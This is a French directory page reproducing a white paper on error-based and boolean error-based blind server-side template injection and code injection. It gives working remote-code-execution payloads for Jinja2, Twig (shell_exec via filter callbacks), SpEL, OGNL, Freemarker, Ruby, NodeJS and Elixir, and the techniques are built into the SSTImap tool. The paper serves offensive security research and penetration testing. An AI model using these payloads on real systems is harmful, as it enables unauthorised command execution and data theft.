Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Research_Successful_Errors — Livre blanc présentant les techniques aveugles basées sur les erreurs et booléennes pour SSTI et l'injection de code, avec des payloads universels pour six langages de programmation et une intégration dans SSTImap. | Kitploit
Outils/GitHubGitHub/vladko312/research_successful_errors
Analyse des VulnérabilitésAnalyse de CodeExploitation d'Applications WebFuzzingCTFTests d'IntrusionArticles et RechercheApprentissage et ÉducationDéveloppement de Charges Utiles

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubvladko312/research_successful_errors

Research_Successful_Errors

Livre blanc présentant les techniques aveugles basées sur les erreurs et booléennes pour SSTI et l'injection de code, avec des payloads universels pour six langages de programmation et une intégration dans SSTImap.

Voir le dépôt
12113il y a 5 moisVérifié par Kitploit

Erreurs réussies : nouvelles techniques d'injection de code et SSTI

Version du rapport Dernière modification

[!NOTE] Ceci est la deuxième version du livre blanc basé sur les résultats que j'ai présentés avant la sortie de SSTImap version 1.3.1. Des améliorations ultérieures seraient adaptées à ce format en tant que version 1.2 de la recherche à une date ultérieure.

  • Payloads
  • Livre blanc imprimable
  • Diapositives

Certaines catégories de vulnérabilités peuvent à première vue sembler bien connues et quelque peu évidentes. Il peut sembler que toutes les techniques possibles pour ces vulnérabilités sont connues, de sorte que seuls des payloads pour des cas inhabituels pourraient être découverts. L'injection de templates côté serveur (SSTI) et l'injection de code sont souvent considérées comme ces catégories bien connues.

Parfois, de nouvelles techniques avec des noms explicites sont rencontrées pour ces vulnérabilités. De nombreux chercheurs pourraient considérer ces techniques comme bien connues ou même se souvenir de les avoir utilisées, mais en réalité, la technique peut n'exister que comme un nom communément compris sans recherche, descriptions ou payloads universels. Elle pourrait être mentionnée quelques fois avec des payloads pour des cas très spécifiques, mais elle ne serait pas testée et le potentiel réel de cette technique pourrait rester inconnu pendant des années.

Cette recherche introduit deux de ces techniques pour l'injection de code et la SSTI : Error-Based et Boolean Error-Based Blind. Je fournirai des payloads pour l'injection de code et la SSTI dans six langages de programmation : Python, PHP, Java, Ruby, NodeJS et Elixir. De plus, je fournirai des payloads de détection universelle, capables de détecter rapidement même les injections aveugles.

Je fournirai la chronologie complète de mes recherches, de la découverte des premières pistes jusqu'aux conclusions finales. J'explorerai également le processus de création de nouveaux payloads pour des langages de programmation et des templates non mentionnés dans cette recherche.

Dans cette recherche, je montrerai des exemples d'applications pratiques des nouvelles techniques et partagerai des domaines potentiels de recherche ultérieure. Tous les payloads fournis peuvent être utilisés pour détecter et exploiter des vulnérabilités dans des applications réelles. De plus, tous les payloads fournis ont été ajoutés à l'outil open source SSTImap, ce qui facilite l'application des résultats de cette recherche à des cibles réelles.

Sommaire

  • Introduction
  • Pistes
    • Dust.JS
    • Twig (CVE-2022-23614)
    • JSONPath Plus (CVE-2025-1302)
    • expr-eval (CVE-2025-13204)
  • Error-Based SSTI
    • Python
    • PHP
    • Java
    • Ruby
    • NodeJS
    • Elixir
    • Détection générique
    • Développement de payloads
  • Boolean Error-Based Blind SSTI
    • Détection d'erreur
    • Python
    • PHP
    • Java
    • Ruby
    • NodeJS
    • Elixir
    • Détection générique
    • Développement de payloads
  • Application pratique
    • expr-eval (CVE-2025-13204)
    • JSONPath Plus (CVE-2025-1302)
    • Twig (CVE-2022-23614)
    • Dust.JS
  • Conclusions
  • Références

Introduction

Les vulnérabilités d'injection de templates côté serveur apparaissent sur les sites web dynamiques utilisant des moteurs de templates pour le rendu côté serveur, lorsque l'entrée utilisateur non fiable est insérée dans le template avant qu'il ne soit traité par le moteur de templates. Un acteur malveillant peut insérer une syntaxe de template valide, qui sera traitée par un moteur de templates lors du rendu de la page. De nombreux moteurs de templates offrent une certaine forme de fonctionnalité d'exécution de code, ce qui conduit souvent à une exécution de code à distance (RCE) sur le serveur cible. Cette recherche se concentre sur les moteurs de templates offrant de telles capacités en cas d'exploitation.

Les vulnérabilités SSTI sont connues depuis 2015, et depuis lors, de nombreux payloads ont été découverts permettant l'exfiltration d'informations, le contournement de filtres et l'évasion de sandbox. Malgré cela, la plupart des payloads affichent soit le résultat directement sur la page, soit se concentrent sur le fait de l'exécution du code lui-même, en ignorant les résultats produits par ce code.

Flux d'injection rendue

Une autre technique SSTI bien connue est l'aveugle basée sur le temps, qui consiste à ajouter un délai à la commande shell exécutée. Cette technique permet de déterminer le succès de l'exécution du code injecté, mais nécessite de deviner le payload pour l'exécution de commande OS, ce qui rend plus difficile la détection d'une SSTI aveugle dans un moteur de templates inconnu du chercheur.

Flux d'injection aveugle basée sur le temps

La classe de vulnérabilité SSTI et les deux techniques d'exploitation connues ont été découvertes en 2015 par James Kettle. Ces techniques sont décrites en détail dans sa recherche "Server-Side Template Injection: RCE For The Modern Web App". [^1] En dix ans depuis, aucune nouvelle technique d'exploitation n'a été documentée. Une seule technique de détection a été découverte en 2023, utilisant des payloads polyglottes pour tester plusieurs moteurs de templates à la fois. Cette technique a été découverte par Maximilian Hildebrand et décrite dans sa recherche "Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning". [^2] La technique se concentre sur la détermination des moteurs de templates en utilisant un nombre minimal de requêtes, mais ne fonctionne que pour des contextes d'injection simples.

Flux de détection basée sur les polyglottes

La majorité des moteurs de templates basés sur des langages de programmation interprétés, tels que PHP, NodeJS et Python, permettent directement d'évaluer les expressions des langages de programmation correspondants. Cette capacité nous permet d'utiliser des payloads pour une catégorie plus large de vulnérabilités d'injection de code en les encapsulant dans le format correct de la balise de template.

L'injection de code peut également se produire sans SSTI, lorsque l'entrée utilisateur non fiable peut atteindre eval() ou une fonction dangereuse similaire. Il est souvent considéré que l'exploitation d'une injection de code consiste simplement à programmer dans le langage correspondant, de sorte que les techniques et les payloads ne sont documentés que pour des exemples de vulnérabilités spécifiques, qui nécessitent d'adapter le code à l'application cible.

Le manque de techniques de détection plus universelles pour l'injection de code et la SSTI conduit à l'inefficacité du scan en boîte noire pour les injections de code et de templates aveugles.

Dans cette recherche, deux nouvelles techniques seront fournies pour l'injection de code et la SSTI, ainsi que des payloads pour six langages de programmation et des payloads de détection générique. Les techniques fournies étendront les capacités de l'exploitation SSTI aveugle, tout en permettant le scan d'injection de code et SSTI aveugles sans deviner le langage de programmation du code injecté.

Les payloads fournis dans cette recherche visent les tests d'intrusion pratiques d'applications web réelles. Tous les payloads présentés sont également intégrés dans les modules de l'outil open source de détection SSTI et d'injection de code appelé SSTImap. [^3] Le support des deux nouvelles techniques ainsi que les payloads correspondants ont été ajoutés dans la version 1.3.0. Des payloads moins génériques et plus spécifiques pour l'application pratique des nouvelles techniques, fournis dans cette recherche, sont intégrés dans des modules SSTImap supplémentaires, qui peuvent être trouvés dans un dépôt dédié pour les modules "extra". [^4]

Pistes

Lors du développement de payloads pour les modules SSTImap, j'ai rencontré des limitations et des découvertes qui ont servi de pistes menant aux techniques présentées dans cette recherche. J'ai rencontré différents scénarios SSTI et d'injection de code, où il était impossible d'obtenir la sortie du code injecté en utilisant les techniques existantes. En rencontrant de telles restrictions, j'ai testé différentes idées pour obtenir la sortie, ce qui a finalement conduit à la découverte de deux nouvelles techniques documentées dans cette recherche.

Dust.JS

La première piste indiquant des limitations potentielles a été rencontrée lors de la mise à jour des payloads pour le moteur de templates Dust.JS. Ce moteur est considéré comme obsolète et semble abandonné, tandis que l'exécution de code n'était possible qu'avec les anciennes versions de dustjs-helpers de 2015. Le module SSTImap pour ce moteur a été hérité du codebase de Tplmap [^5] et son amélioration était une tâche de faible priorité, mais le module provoquait beaucoup de faux positifs en cas de moteurs de templates simples sans logique.

Bloc if de Dust.JS

Pour résoudre le problème, j'ai amélioré le payload, mais le moteur de templates et les payloads associés ont attiré mon attention. L'injection de code était possible à l'intérieur de la condition du bloc if, qui était directement passée à eval(). [^6] Le résultat n'était pas affiché sur la page, donc on considérait que la RCE serait toujours aveugle même en cas de SSTI réfléchie.

Avertissement de Dust.JS à propos de eval

À ce moment-là, la recherche d'un moteur de templates obsolète pour créer un nouveau payload était très basse dans ma liste de priorités, j'ai donc décidé de ne pas enquêter sur les moyens potentiels d'obtenir la sortie.

Twig (CVE-2022-23614)

J'ai rencontré la deuxième piste lors du développement de payloads pour les nouvelles versions du moteur de templates Twig. Les payloads pour les premières versions étaient déjà corrigés, j'ai donc décidé de créer un nouveau module avec des payloads mis à jour. Lors de ma recherche de moyens plus modernes d'exploiter Twig, j'ai découvert CVE-2022-23614 qui permettait le contournement de sandbox en utilisant l'un des payloads courants pour les versions modernes. [^7]

Pour le nouveau module SSTImap, j'ai décidé d'utiliser un payload capable de cette exploitation de contournement de sandbox, car il fonctionnait également pour presque toutes les versions de Twig exploitables par des payloads modernes.

Le contournement de sandbox était possible en passant une chaîne contenant le nom d'une fonction PHP comme paramètre au filtre |sort, provoquant l'appel de cette fonction par le template avec deux éléments de tableau comme arguments. De manière similaire au cas de Dust.JS, la sortie de la fonction est utilisée en interne comme condition (cette fois pour trier le tableau), donc elle n'est pas renvoyée dans le contexte du template. Cette limitation n'empêche pas l'exploitation, car la fonction system() en PHP affiche les résultats de l'exécution de la commande OS directement sur la page web, ce qui permet d'obtenir la sortie en contournant le moteur de templates.

J'ai été curieux de savoir s'il était possible d'obtenir la sortie à l'intérieur du moteur de templates pour une éventuelle application dans un contournement ou une nouvelle technique d'exploitation SSTI. Ce n'était pas nécessaire pour créer un nouveau module pour Twig, j'ai donc décidé de ne pas consacrer de temps au développement de nouveaux payloads pour accéder au résultat de l'injection dans le template.

Description de CVE-2022-23614

JSONPath Plus (CVE-2025-1302)

La vulnérabilité CVE-2025-1302 dans le module Node.JS JSONPath Plus avant la version 10.3.0 permet l'injection de code JavaScript arbitraire en accédant au constructeur de fonction à l'intérieur d'une syntaxe de condition étendue pour jsonpath. [^8] J'ai décidé de créer un nouveau module SSTImap supplémentaire pour la détection et l'exploitation automatiques de CVE-2025-1302 en cas d'injection jsonpath côté serveur.

PoC de CVE-2025-1302

De manière similaire à Dust.JS, l'injection de code n'était possible qu'à l'intérieur de la condition, il n'y avait donc aucun moyen direct d'obtenir la sortie et de l'afficher sur la page. Malgré cela, j'ai décidé de rechercher la possibilité d'extraire la sortie, ce qui m'a finalement conduit à la troisième piste suggérant le potentiel qui a finalement provoqué les découvertes discutées dans cette recherche.

Le module JSONPath Plus est utilisé pour accéder aux données dans les objets JSON. Dans de nombreux langages de programmation interprétés comme JavaScript, ces objets fonctionnent souvent implicitement comme des pointeurs afin de limiter la consommation de ressources. En même temps, le module JSONPath Plus permet d'accéder à l'objet qui est recherché en utilisant la syntaxe @root. J'ai trouvé un moyen de passer cet objet dans le code injecté à l'intérieur de la condition, ce qui permettait de sauvegarder la sortie dans les attributs de l'objet, puis d'y accéder en utilisant la syntaxe jsonpath injectée.

Cette méthode est loin d'être un moyen universel d'accéder à la sortie car elle limite fortement les contextes d'injection exploitables pour les scénarios d'injection de code réfléchie. J'ai recherché d'autres moyens potentiels d'extraire la sortie, comme la pollution de prototype, mais je n'ai pas réussi à découvrir une technique plus universelle. Malgré cela, cette fois, j'ai pu extraire la sortie de la condition.

expr-eval (CVE-2025-13204)

Contrairement à tous les cas précédents, où les limitations ont été rencontrées lors du développement de payloads, la dernière piste menant à cette recherche a été découverte lors de l'exploration d'une application réelle. Je testais un constructeur de bot sans code pour Discord, qui permettait aux utilisateurs de personnaliser les templates de messages. En soi, le moteur de templates utilisé à cet effet n'évaluait aucun code, mais il avait une balise dédiée pour évaluer des expressions mathématiques.

En examinant différents messages d'erreur renvoyés par cette balise, j'ai déterminé que les expressions étaient évaluées en utilisant le module Node.JS appelé expr-eval. Ce module permet la RCE via l'accès au constructeur Object qui permet un accès arbitraire aux propriétés (CVE-2025-13204). J'ai modifié le payload pour éviter de casser la syntaxe de la balise de template, mais au lieu des résultats d'exécution de code, je n'ai obtenu que NaN.

Payload retourne NaN

Il semble que le résultat de expr-eval soit converti en nombre par le moteur de templates, ce qui empêche la réflexion de la sortie de l'exécution de code. Cependant, le résultat est converti en nombre uniquement en cas d'évaluation réussie. En cas d'erreur, le template substitue la balise par le texte complet de l'erreur, qui contient parfois une partie de mon code.

Les erreurs sont affichées

J'ai décidé d'examiner la possibilité d'extraire les résultats de l'exécution de code à travers ces parties des messages d'erreur. Il existe une technique qui permet l'extraction de requêtes SQL via des messages d'erreur spécifiquement déclenchés. [^9] J'ai supposé que des techniques similaires existaient pour l'injection de code et la SSTI.

Description de l'injection SQL Error-Based

J'ai essayé de chercher "Error-based SSTI" et d'autres noms potentiels pour ces techniques SSTI et d'injection de code, mais je n'ai pu trouver que des polyglottes basés sur les erreurs issus d'un seul article de recherche réalisé en 2023 et une technique pour déterminer le moteur de templates en regardant le message d'erreur. Le seul résultat qui ressemblait même de loin à ce que je cherchais était un seul payload pour les templates Freemarker créé par le chercheur Nicolas Verdier. [^10]

Payload Freemarker

Ce payload permettait de déterminer le succès de l'exécution de code en cas d'injection aveugle en déclenchant conditionnellement une erreur. Une technique similaire existe pour l'injection SQL, ce qui a confirmé mes hypothèses selon lesquelles des techniques similaires pourraient fonctionner pour l'injection de code et la SSTI.

J'ai réalisé que la technique que je cherchais n'était pas documentée auparavant, j'ai donc décidé de mener cette recherche afin de développer les payloads nécessaires. De plus, j'ai décidé d'ajouter cette technique à mon outil open source SSTImap.

Error-Based SSTI

J'ai décidé de développer des payloads qui nous permettraient de déclencher des erreurs contenant le résultat de l'exécution de code dans le message d'erreur. Une technique similaire existe déjà pour les injections SQL. Par exemple, CONVERT(INT, …) en SQL convertit une chaîne en nombre. Si la chaîne ne représente pas un nombre valide, la base de données renvoie un texte d'erreur qui contient cette chaîne. Si ce message d'erreur est affiché à l'utilisateur, nous pouvons obtenir la sortie même à partir d'injections autrement aveugles.

Une approche similaire peut être utilisée pour la SSTI et l'injection de code. Certains messages d'erreur reflètent les données fournies par l'utilisateur, ce qui nous permet d'utiliser ces erreurs pour obtenir la sortie du code injecté.

Flux d'injection Error-Based

Les langages de programmation permettent généralement aux utilisateurs de créer des erreurs avec des messages d'erreur personnalisés, mais il est souvent impossible d'utiliser directement ces capacités lors de l'exploitation de la vulnérabilité. Dans la plupart des cas, l'injection ne permet que l'évaluation d'expressions, ce qui empêche le code injecté d'utiliser les constructions linguistiques nécessaires pour lever des erreurs ou créer de nouvelles classes d'erreurs. Afin de rendre mes payloads plus universels pour une meilleure couverture, j'ai décidé de me concentrer sur les injections dans des contextes d'expression linguistique, où seuls les opérateurs de base, les littéraux et les appels de fonction sont autorisés.

Par conséquent, pour l'exploitation SSTI et d'injection de code en utilisant cette technique, j'ai dû trouver des messages d'erreur qui reflètent les données fournies par l'utilisateur. Dans la plupart des cas, les payloads d'injection de code pouvaient être utilisés pour exploiter la SSTI en encapsulant les payloads avec des balises de template. Dans le cadre de cette recherche, je couvrirai les payloads pour cinq langages de programmation : Python, PHP, Ruby, NodeJS et Elixir, ainsi que pour les moteurs de templates supportés par SSTImap, si ces payloads diffèrent significativement des payloads du langage de programmation correspondant. De plus, les payloads pour les moteurs de templates basés sur Java, ainsi que les payloads de détection universelle, seront couverts par cet article.

Python

Au début de mes recherches, j'ai décidé de trouver des payloads pour le langage de programmation Python que j'utilise souvent pour mes tâches quotidiennes. Initialement, j'ai essayé d'appliquer le même principe que pour l'injection SQL en convertissant la chaîne en entier. Dans ce cas, le message d'erreur reflète effectivement la chaîne fournie par l'utilisateur, mais j'ai vite découvert que les grandes chaînes sont tronquées, donc seuls les 199 premiers caractères peuvent être réfléchis.

La chaîne est tronquée

J'ai décidé de chercher d'autres messages d'erreur qui permettraient la réflexion de chaînes fournies par l'utilisateur de longueur arbitraire. L'accès à un attribut inexistant en utilisant la fonction getattr() s'est avéré déclencher une telle erreur. En conséquence, j'ai obtenu getattr("", OUTPUT) comme payload, qui reflète la chaîne OUTPUT sans aucune restriction de longueur.

Les fichiers longs peuvent être extraits

Ce payload fonctionne pour tous les moteurs de templates basés sur Python testés, bien que Jinja2 ait nécessité quelques modifications pour appeler la fonction Python getattr() :```python3 {{ cycler.init.globals.builtins.getattr("", OUTPUT) }}

root@kitploit:~
De plus, pour le moteur de template Jinja2, j'ai découvert une autre charge utile qui déclenche l'erreur *TemplateNotFound* : `{% include OUTPUT %}`. 
Cette charge utile a été ajoutée à l'ancien module Jinja2 pour SSTImap.

![Erreur Jinja2](https://assets.kitploit.com/production/public/readmes/10936/62b21955cb2095d8dffa831b8024a1f0b1d273e0a0749006a621c78996b51a5d.png)

### PHP
Pour l'exploitation par erreur d'injection de code PHP, j'ai découvert plusieurs messages d'erreur ayant une applicabilité variable selon les moteurs de template.
Par exemple, PHP permet d'appeler une chaîne en tant que fonction avec un nom égal au contenu de la chaîne.
Si une telle fonction n'existe pas, le message d'erreur produit contiendra la chaîne fournie entière.
En conséquence, nous obtenons une charge utile simple : `OUTPUT()`

Cette charge utile ne fonctionne pas dans la plupart des moteurs de template, j'ai donc poursuivi mes recherches et découvert l'erreur déclenchée en essayant d'ouvrir des fichiers inexistants avec la fonction `fopen()`.
Cette charge utile fonctionne dans presque tous les moteurs de template testés : `fopen(OUTPUT, "r")`

De plus, j'ai trouvé la fonction `include()` qui déclenchait une erreur similaire.
La charge utile `include(OUTPUT)` ou une charge utile similaire pourrait être utilisée dans la plupart des moteurs de template offrant des capacités d'héritage de templates.

Les charges utiles utilisant `fopen()` et `include()` ont échoué dans certains cas.
Il s'est avéré que ces fonctions provoquent des **avertissements** PHP qui pourraient être rendus dans la sortie du template à laquelle nous n'avons pas accès.

J'ai décidé de modifier la première charge utile en utilisant `call_user_func()` pour appeler une chaîne en tant que fonction sans utiliser la syntaxe spécifique à PHP.
En conséquence, j'ai obtenu la charge utile : `call_user_func(OUTPUT)`, qui déclenche une **erreur fatale**, interrompant le rendu et reflétant le message d'erreur directement sur la page.

![Charge utile PHP et erreur](https://assets.kitploit.com/production/public/readmes/10936/3f539c6ae4bde73fb99c253e845686869b1eb12d0dc2f5c3c8d19af95c0d8893.png)

Couramment utilisée pour l'exécution de code à distance (RCE), la fonction `system()` affiche la sortie sur la page, mais ne renvoie que la première ligne du résultat.
Pour capturer la sortie complète, j'ai décidé d'utiliser `shell_exec()`.
Cette fonction accepte exactement un argument, donc elle a bien fonctionné pour la plupart des moteurs de template, y compris les anciennes versions de **Twig** :```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}

Pour les versions plus récentes de Twig, j'ai utilisé le filtre |map pour préserver la sortie, mais il passait l'index du tableau comme second élément, ce qui rendait impossible l'utilisation directe de la fonction shell_exec(). Pour contourner cette limitation, j'ai utilisé la fonction call_user_func() pour appeler shell_exec() et un dictionnaire au lieu d'un tableau pour contrôler les valeurs des index :```php {% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}

root@kitploit:~
Pour déclencher l'erreur dans Twig et obtenir les résultats d'exécution, nous pouvons utiliser le payload **fatal error** qui déclenche la fonction inexistante : `{{ [0]|map(OUTPUT) }}` ou inclut le fichier inexistant : `{% include(OUTPUT) %}`

![Message d'erreur Twig](https://assets.kitploit.com/production/public/readmes/10936/2a7d471317458f90a23da3e811d93ed1c9e461bd637dee7f75eef1e4e87744ba.png)

### Java
Java ne fournit pas de fonctionnalité universelle intégrée d'évaluation de code, il n'y a donc pas de payloads universels pour Java. À la place, des langages d'expression, tels que **Spring Expression Language** (**SpEL**). Pour ce langage, il est possible d'utiliser une astuce simple consistant à convertir une chaîne en nombre :```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)

Cette charge utile fonctionnera également pour d'autres langages d'expression similaires. Pour vérifier la syntaxe SpEL, nous pouvons utiliser la méthode spécifique à SpEL pour accéder aux classes : T(java.lang.Integer).valueOf(OUTPUT)

Pour obtenir les résultats de l'exécution de commandes OS sous forme de chaîne, nous pouvons utiliser la charge utile :```java T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())

root@kitploit:~
![Message d'erreur SpEL](https://assets.kitploit.com/production/public/readmes/10936/f162ff2fe1b9b1a081cb85d6c64102a74426d768f1a2601949b93ccb5103d118.png)

Un autre langage d'expression courant utilisé en Java est **OGNL**.
Ce langage déclenche une erreur contenant une chaîne fournie par l'utilisateur lorsque cette chaîne est utilisée dans une opération arithmétique : `OUTPUT/0`

Le résultat de la RCE pourrait être converti en chaîne à l'aide de cette charge utile :```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())

J'ai également créé des payloads pour deux moteurs de templates basés sur Java pris en charge par SSTImap.

Par exemple, les templates Freemarker permettent une construction limitée d'objets en appliquant le filtre ?new() à la chaîne contenant le nom de la classe correspondante. Si une telle classe n'existe pas, le message d'erreur reflétera la chaîne entière. Cela pourrait être utilisé pour créer un payload simple : ${ OUTPUT?new() }

Message d'erreur Freemarker

Le moteur de templates Velocity prend en charge l'inclusion de templates via la directive #include(). Pour des templates inexistants, le message d'erreur reflétera le nom fourni : #include(OUTPUT)

Message d'erreur Velocity

Ruby

Le payload pour Ruby pourrait être utilisé à la fois pour l'Injection de Code et la SSTI et utilise l'erreur déclenchée lors de l'accès à un fichier inexistant, ce qui est courant pour cette technique : File.read(OUTPUT)

Payload Ruby et message d'erreur

NodeJS

Pour l'Injection de Code basée sur les erreurs dans NodeJS, il est possible de déclencher une erreur en incluant un module inexistant via la fonction require(), si elle est accessible dans le contexte d'injection : require(OUTPUT)

Alternativement, JavaScript déclenche une erreur en reflétant la chaîne en accédant à une propriété de undefined : ""["x"][OUTPUT]

Elixir

Le langage de programmation Elixir reflète la chaîne à l'intérieur d'un message d'erreur lorsque cette chaîne est utilisée comme index de liste au lieu d'un objet atom : [1, 2][OUTPUT]

Le résultat de l'exécution d'une commande OS pourrait être reflété en utilisant [1, 2][elem(System.shell(" … "), 0)]

Message d'erreur Elixir

Détection générique

Pour la détection basée sur les erreurs de la SSTI et de l'Injection de Code, nous avons besoin d'un payload qui déclencherait une erreur dans n'importe quel langage de programmation. Dans ce cas, il serait possible de détecter le langage de programmation par un message d'erreur typique ou au moins de trouver des mots-clés indiquant la présence d'une erreur, si le langage de programmation n'est pas encore pris en charge.

Ma première idée pour créer un tel payload était d'utiliser une division par zéro, mais certains langages de programmation comme JavaScript ne traitent pas un tel payload comme une erreur, retournant simplement NaN. Pour gérer ces cas, j'ai décidé d'ajouter un appel à une fonction non définie : (1/0)+zxy()

Le nouveau payload déclenchait une erreur dans NodeJS, mais il déclenchait différentes erreurs de syntaxe dans certains moteurs de templates basés sur PHP, ce qui compliquait la détection du langage de programmation.

Pour éviter la détection précoce de la fonction inexistante lors de l'analyse du template, j'ai décidé de mettre à jour le payload pour utiliser l'erreur déclenchée par l'accès à une propriété de undefined. L'accès à un attribut nécessitera l'évaluation de la première partie, tandis que dans le cas de la concaténation de chaînes en PHP, toutes les parties seront évaluées à l'exécution en commençant par la division par zéro. En conséquence, j'ai créé un payload capable de détecter les réflexions de messages d'erreur verbeuses dans le cas d'injections génériques : (1/0).zxy.zxy

Pour le module SSTImap, j'ai ajouté la détection des messages d'erreur typiques pour les cinq langages de programmation pris en charge, ainsi qu'une recherche par mots-clés pour détecter le type d'erreur si le langage de programmation ou le moteur de templates n'est pas encore pris en charge.

Injection de template Groovy détectée dans SSTImap avec un payload de détection générique

Développement de payloads

Après avoir détecté une réflexion d'erreur verbeuse et déterminé le langage de programmation par le texte de l'erreur, nous aurions encore besoin de trouver un message d'erreur reflétant la valeur fournie par l'utilisateur pour créer des payloads pour l'exécution de code à distance (RCE) basée sur les erreurs. Généralement, de telles erreurs peuvent être déclenchées lors de l'accès à des fichiers ou modules inexistants, lors d'interactions inhabituelles avec des objets spéciaux comme null ou undefined, ainsi qu'en cas de fonctions, classes ou attributs inexistants. Contrairement à cela, les erreurs de syntaxe ne fournissent aucune capacité d'exfiltration de données, car elles interrompent l'analyse du template avant toute évaluation du code injecté.

Pour une exploitation automatique réussie, vous devez vous assurer que les textes longs et multilignes ne sont pas tronqués. De plus, il est important d'éviter les situations où le résultat serait égal à quelque chose de valide qui ne déclencherait pas d'erreur. Pour ces cas, un préfixe doit être ajouté pour rendre toute sortie invalide. Par exemple, il est très improbable qu'un site web cible ait des fichiers, classes ou attributs commençant par Y:/A:/.

SSTI aveugle basée sur les erreurs booléennes

La plupart des serveurs web et applications modernes désactivent les sorties d'erreur verbeuses, ce qui empêche l'exploitation de l'Injection de Code et de la SSTI basées sur les erreurs. Le texte complet d'un message d'erreur est impossible à obtenir dans de tels cas, mais l'erreur elle-même peut généralement encore être détectée. Cela nous permet de déterminer le succès de l'injection aveugle en détectant une erreur déclenchée conditionnellement.

Page d'erreur personnalisée

En effet, différentes réponses pourraient exposer le résultat de l'injection aveugle. Par exemple, dans le cas d'une Injection SQL aveugle basée sur les booléens, un payload comme AND SUBSTRING((…), 1, 1) = 's' ne retournerait des résultats que si la valeur cible commence par le caractère s. Cette technique repose sur un comportement différent de l'application dans les cas où aucun résultat n'est retourné. Cela n'est pas applicable à la plupart des cas d'Injection de Code et de SSTI.

Description de l'Injection SQL basée sur les booléens

Cependant, il existe une technique similaire appelée Injection SQL aveugle basée sur les erreurs, dans laquelle la valeur cible est utilisée pour déclencher conditionnellement une erreur dans un seul des cas, sans interrompre l'autre : CASE WHEN 1=1 THEN 1 ELSE json('') END

Page d'erreur par défaut

Une telle technique pourrait être adaptée pour fonctionner avec l'Injection de Code et la SSTI. De plus, j'avais déjà rencontré un payload pour cette technique auparavant. Il s'agissait d'un payload pour le moteur de templates Freemarker de Nicolas Verdier, mentionné précédemment dans cette recherche. [^10]

Payload Freemarker

Les langages de programmation nous permettent déjà d'avoir des conditions déterminant quel code serait exécuté. Cela peut être accompli en utilisant des constructions ou des opérateurs de langage spéciaux. Cependant, comme pour la technique basée sur les erreurs, j'ai décidé d'éviter les constructions de langage dans les payloads d'Injection de Code plus universels, car ils ne seront pas accessibles dans de nombreux contextes d'injection. J'ai également décidé d'éviter d'utiliser l'opérateur conditionnel ternaire, car de tels opérateurs complexes pourraient ne pas être pris en charge par de nombreux moteurs de templates et autres contextes d'injection qui utilisent leurs propres analyseurs.

Pour éviter les faux positifs, l'erreur doit être déclenchée dans le cas où notre injection n'a pas fourni de résultat valide, car il pourrait être impossible de différencier les erreurs délibérément déclenchées par notre injection de toute autre erreur que le payload aurait pu causer.

Détection d'erreur

Pour automatiser les tests d'Injection de Code et de SSTI aveugles basées sur les erreurs booléennes, nous aurions besoin d'un moyen de détecter les erreurs dans les réponses du serveur. Les utilisateurs pourraient fournir des expressions régulières pour détecter les pages normales ou d'erreur, mais nous pourrions aussi essayer de détecter les erreurs en comparant le code de réponse, la longueur, les en-têtes et d'autres paramètres avec les paramètres correspondants de la réponse normale.

Quelle que soit l'approche choisie, nous devrions utiliser deux paires de payloads similaires. Des différences minimales entre les payloads de chaque paire éviteraient les faux positifs causés par des erreurs provenant du WAF ou des proxies, tandis que l'utilisation de deux paires atténuerait les faux positifs causés par des problèmes externes aléatoires.

Pour déterminer la réponse normale de l'application, j'ai décidé d'utiliser des payloads numériques afin d'éviter les erreurs de syntaxe dans la plupart des contextes d'injection. Plusieurs réponses sont comparées pour déterminer les paramètres les plus stables de la réponse de l'application. La première requête est ignorée pour éviter toute interférence due aux actions que l'application pourrait effectuer lors de la première connexion depuis une nouvelle adresse IP.

Plusieurs paramètres ont été sélectionnés pour la comparaison des requêtes :

  • Code de réponse HTTP
  • Temps de réponse
  • Encodage de la réponse
  • Longueur de la réponse en octets
  • Longueur de la réponse en caractères
  • Nombre de mots dans la réponse
  • Nombre de lignes dans la réponse
  • Nombre d'en-têtes
  • Nombre de cookies
  • Nombre de redirections
  • URL de la page finale
  • Valeur de l'en-tête Content-Type
  • Valeur de l'en-tête Server

Les paramètres sont considérés comme stables s'ils restent les mêmes pour toutes les réponses ou s'ils fluctuent dans une marge de 5 % par rapport à la moyenne (pour les valeurs numériques).

Déroulement de l'injection basée sur les booléens

Python

Pour déterminer la véracité des résultats de l'injection, nous pourrions utiliser la division par une valeur booléenne. Une valeur vraie serait convertie en un, ce qui ne déclenche pas d'erreur, tandis que les valeurs évaluées à False déclencheraient une erreur de division par zéro. Nous pourrions utiliser cette expression comme payload : 1 / ( OUTPUT )

Pour détecter l'injection, ces deux paires de payloads pourraient être utilisées :

  • 'a'.join('bc') == 'bac' et 'a'.join('bc') == 'abc'
  • bool('False') == True et bool('True') == False

L'exécution de code est possible en utilisant bool(eval( … )), tandis que l'exécution de commandes OS peut être vérifiée avec os.popen( … )._proc.wait() == 0 à partir de Python 3.6.

Dans la plupart des moteurs de templates basés sur Python, ces payloads peuvent être utilisés tels quels, tandis que Jinja2 ne permet pas l'accès direct aux fonctions Python intégrées. En conséquence, le payload pour Jinja2 est un peu plus complexe :```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}

root@kitploit:~
![Jinja payload test with SSTImap](https://assets.kitploit.com/production/public/readmes/10936/9389ea206b96de22e9d5382a5e811f4277598355c20c0ed8825720b13620ddbe.png)

### PHP
PHP permet également d'utiliser des payloads comme `1 / ( … )` pour déterminer le succès de l'injection.
Pour détecter l'injection, ces deux paires de payloads ont été choisies :

- `'2' + '3' == 5` et `'2' + '5' == 3`
- `strlen('2') == 1` et `strlen('1') == 2`

